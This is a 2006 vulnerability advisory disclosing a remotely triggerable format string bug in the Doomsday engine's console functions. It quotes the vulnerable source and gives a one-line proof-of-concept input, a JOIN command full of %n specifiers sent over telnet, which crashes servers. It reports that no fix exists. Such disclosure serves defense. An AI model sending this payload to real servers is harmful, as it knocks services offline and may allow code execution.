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                             Luigi Auriemma

Application:  Doomsday engine
              http://www.doomsdayhq.com
              http://deng.sourceforge.net
Versions:     <= 1.8.6 (and current SVN 1.9.0)
Platforms:    Windows, *nix, *BSD, Mac and others
Bug:          format string bug in Con_Message and Con_Printf
Exploitation: remote, versus server and clients
Date:         03 Apr 2006
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    http://aluigi.altervista.org


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1) Introduction
2) Bug
3) The Code
4) Fix


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===============
1) Introduction
===============


The Doomsday engine is an enhanced and well known open source port of
the original Doom engine and is also one of the most played on
Internet.


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======
2) Bug
======


The Doomsday engine contains many functions used for the visualization
of the messages in the console.
Both Con_Message and conPrintf are vulnerable to a format string
vulnerability which could allow an attacker to execute malicious code
versus the server or the clients.
The first function calls a "Con_Printf(buffer)" while the second one
calls a "SW_Printf(prbuff)" if SW_IsActive is enabled (which means
ever).

>From Src/con_main.c:

void Con_Message(const char *message, ...)
{
	va_list argptr;
	char   *buffer;

	if(message[0])
	{
		buffer = malloc(0x10000);

		va_start(argptr, message);
		vsprintf(buffer, message, argptr);
		va_end(argptr);

#ifdef UNIX
		if(!isDedicated)
		{
			// These messages are supposed to be visible in the real console.
			fprintf(stderr, "%s", buffer);
		}
#endif

		// These messages are always dumped. If consoleDump is set,
		// Con_Printf() will dump the message for us.
		if(!consoleDump)
			printf("%s", buffer);

		// Also print in the console.
		Con_Printf(buffer);

		free(buffer);
	}
	Con_DrawStartupScreen(true);
}

...

void conPrintf(int flags, const char *format, va_list args)
{
	unsigned int i;
	int     lbc;				// line buffer cursor
	char   *prbuff, *lbuf = malloc(maxLineLen + 1);
	cbline_t *line;

	if(flags & CBLF_RULER)
	{
		Con_AddRuler();
		flags &= ~CBLF_RULER;
	}

	// Allocate a print buffer that will surely be enough (64Kb).
	// FIXME: No need to allocate on EVERY printf call!
	prbuff = malloc(65536);

	// Format the message to prbuff.
	vsprintf(prbuff, format, args);

	if(consoleDump)
		fprintf(outFile, "%s", prbuff);
	if(SW_IsActive())
		SW_Printf(prbuff);
    ...



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===========
3) The Code
===========


Connect with telnet to port 13209 (default) of a DoomsDay server and
type:

  JOIN 1234 %n%n%n%n%n%n

The server will crash immediately.


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======
4) Fix
======


No fix.
No reply from the developers.


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--- 
Luigi Auriemma
http://aluigi.altervista.org